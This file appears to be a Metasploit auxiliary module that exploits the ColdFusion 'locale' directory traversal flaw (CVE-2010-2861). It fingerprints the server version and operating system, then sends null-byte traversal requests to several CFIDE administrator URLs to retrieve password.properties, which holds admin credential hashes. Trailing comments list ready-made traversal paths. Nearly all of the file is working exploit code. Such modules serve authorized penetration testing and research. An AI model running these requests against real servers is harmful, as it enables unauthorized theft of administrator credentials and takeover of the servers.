##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report

  def initialize
    super(
      'Name'        => 'ColdFusion Server Check',
      'Description' => %q{
          This module attempts to exploit the directory traversal in the 'locale'
        attribute.  According to the advisory the following versions are vulnerable:

        ColdFusion MX6 6.1 base patches,
        ColdFusion MX7 7,0,0,91690 base patches,
        ColdFusion MX8 8,0,1,195765 base patches,
        ColdFusion MX8 8,0,1,195765 with Hotfix4.

        Adobe released patches for ColdFusion 8.0, 8.0.1, and 9 but ColdFusion 9 is reported
        to have directory traversal protections in place, subsequently this module does NOT
        work against ColdFusion 9.  Adobe did not release patches for ColdFusion 6.1 or
        ColdFusion 7.

        It is not recommended to set FILE when doing scans across a group of servers where the OS
        may vary; otherwise, the file requested may not make sense for the OS

      },
      'Author'      => [ 'CG', 'nebulus' ],
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          [ 'CVE', '2010-2861' ],
          [ 'BID', '42342' ],
          [ 'OSVDB', '67047' ],
          [ 'URL', 'https://www.gnucitizen.org/blog/coldfusion-directory-traversal-faq-cve-2010-2861/' ],
          [ 'URL', 'https://www.adobe.com/support/security/bulletins/apsb10-18.html' ],
        ]
    )

    register_options(
      [
        OptString.new('FILE', [ false,  'File to retrieve', '']),
        OptBool.new('FINGERPRINT', [true, 'Only fingerprint endpoints', false])
      ])
  end

  def fingerprint(response)

    if(response.headers.has_key?('Server') )
      if(response.headers['Server'] =~ /IIS/ or response.headers['Server'] =~ /\(Windows/)
        os = "Windows (#{response.headers['Server']})"
      elsif(response.headers['Server'] =~ /Apache\//)
          os = "Unix (#{response.headers['Server']})"
      else
        os = response.headers['Server']
      end
    end

    return nil if response.body.length < 100

    title = "Not Found"
    response.body.gsub!(/[\r\n]/, '')
    if(response.body =~ /<title.*\/?>(.+)<\/title\/?>/i)
      title = $1
      title.gsub!(/\s/, '')
    end
    return nil  if( title == 'Not Found' or not title =~ /ColdFusionAdministrator/)

    out = nil

    if(response.body =~ />\s*Version:\s*(.*)<\/strong\><br\s\//)
      v = $1
      out = (v =~ /^6/) ? "Adobe ColdFusion MX6 #{v}" : "Adobe ColdFusion MX7 #{v}"
    elsif(response.body =~ /<meta name=\"Author\" content=\"Copyright 1995-2012 Adobe/ and response.body =~ /Administrator requires a browser that supports frames/ )
      out = "Adobe ColdFusion MX7"
    elsif(response.body =~ /<meta name=\"Author\" content=\"Copyright \(c\) 1995-2006 Adobe/)
      out = "Adobe ColdFusion 8"
    elsif(response.body =~ /<meta name=\"Author\" content=\"Copyright \(c\) 1995-2010 Adobe/ or
      response.body =~ /<meta name=\"Author\" content=\"Copyright \(c\) 1995\-2009 Adobe Systems\, Inc\. All rights reserved/)
      out = "Adobe ColdFusion 9"
    elsif(response.body =~ /<meta name=\"Keywords\" content=\"(.*)\">\s+<meta name/)
      out = $1.split(/,/)[0]
    else
      out = 'Unknown ColdFusion'
    end

    if(title.downcase == 'coldfusionadministrator')
      out << " (administrator access)"
    end

    out << " (#{os})"
    return out
  end

  def run_host(ip)
    trav = datastore['FILE']

    if(trav == '' or datastore['FINGERPINT'])
    # the user did not specify what they wanted, fingerprint, go after password.properties

      url = '/CFIDE/administrator/index.cfm'

      res = send_request_cgi({
          'uri' => url,
          'method' => 'GET',
          'Connection' => "keep-alive",
          'Accept-Encoding' => "zip,deflate",
          })

      return if not res or not res.body or not res.code

      if (res.code.to_i == 200)
        out = fingerprint(res)
        print_status("#{ip} #{out}") if out
        return if (datastore['FINGERPRINT'])

        if(out =~ /Windows/ and out =~ /MX6/)
          trav = '..\..\..\..\..\..\..\..\..\..\CFusionMX\lib\password.properties%00en'
        elsif(out =~ /Windows/ and out =~ /MX7/)
          trav = '..\..\..\..\..\..\..\..\..\..\CFusionMX7\lib\password.properties%00en'
        elsif(out =~ /Windows/ and out =~ /ColdFusion 8/)
          trav = '..\..\..\..\..\..\..\..\..\..\ColdFusion8\lib\password.properties%00en'
        elsif(out =~ /ColdFusion 9/)
          print_status("#{ip} ColdFusion 9 is not vulnerable, skipping")
          return
        elsif(out =~ /Unix/ and out =~ /MX6/)
          trav = '../../../../../../../../../../opt/coldfusionmx/lib/password.properties%00en'
        elsif(out =~ /Unix/ and out =~ /MX7/)
          trav = '../../../../../../../../../../opt/coldfusionmx7/lib/password.properties%00en'
        elsif(out =~ /Unix/ and out =~ /ColdFusion 8/)
          trav = '../../../../../../../../../../opt/coldfusion8/lib/password.properties%00en'
        else
          if(res.body =~ /Adobe/ and res.body =~ /ColdFusion/)
            print_error("#{ip} Fingerprint failed, FILE not set...aborting")
          else
            return    # probably just a web server
          end
        end
      else
        return         # silent fail as it doesnt necessarily at this point have to be a CF server
      end
    end

    # file specified or obtained via fingerprint
    if(trav !~ /\.\.\/\.\.\// and trav !~ /\.\.\\\.\.\\/)
      # file probably specified by user, make sure to add in actual traversal
      trav = '../../../../../../../../../../' << trav << '%00en'
    end

    locale = "?locale="

    urls = ["/CFIDE/administrator/enter.cfm", "/CFIDE/wizards/common/_logintowizard.cfm", "/CFIDE/administrator/archives/index.cfm",
      "/CFIDE/administrator/entman/index.cfm", "/CFIDE/administrator/logging/settings.cfm"]
    # "/CFIDE/install.cfm",  haven't seen where this one works

    out = ''              # to keep output in synch with threads
    urls.each do |url|
      res = send_request_raw({
        'uri'     => url+locale+trav,
        'method'  => 'GET',
        'headers' =>
          {
            'Connection' => "keep-alive",
            'Accept-Encoding' => "zip,deflate",
          },
        })


      if (res.nil?)
        print_error("no response for #{ip}:#{rport} #{url}")
      elsif (res.code == 200)
        #print_error("#{res.body}")#debug
        print_status("URL: #{ip}#{url}#{locale}#{trav}")
        if res.body.match(/\<title\>(.*)\<\/title\>/im)
          fileout = $1
          if(fileout !~ /Login$/ and fileout !~ /^Welcome to ColdFusion/ and fileout !~ /^Archives and Deployment/)
            print_good("#{ip} FILE: #{fileout}")
            break
          end
        end
      else
        next if (res.code == 500 or res.code == 404 or res.code == 302)
        print_error("#{ip} #{res.to_s}")
      end
    end

  rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError
  rescue ::Timeout::Error, ::Errno::EPIPE
  end
end

# URLs that may work for you:
#"/CFIDE/administrator/enter.cfm",
#"/CFIDE/wizards/common/_logintowizard.cfm",
#"/CFIDE/administrator/archives/index.cfm",
#"/CFIDE/install.cfm",
#"/CFIDE/administrator/entman/index.cfm",
#"/CFIDE/administrator/logging/settings.cfm",

# Files to grab
#../../../../../../../../../../ColdFusion8/lib/password.properties%00en
#../../../../../../../../../../CFusionMX7/lib/password.properties%00en
#../../../../../../../../../../opt/coldfusionmx7/lib/password.properties%00en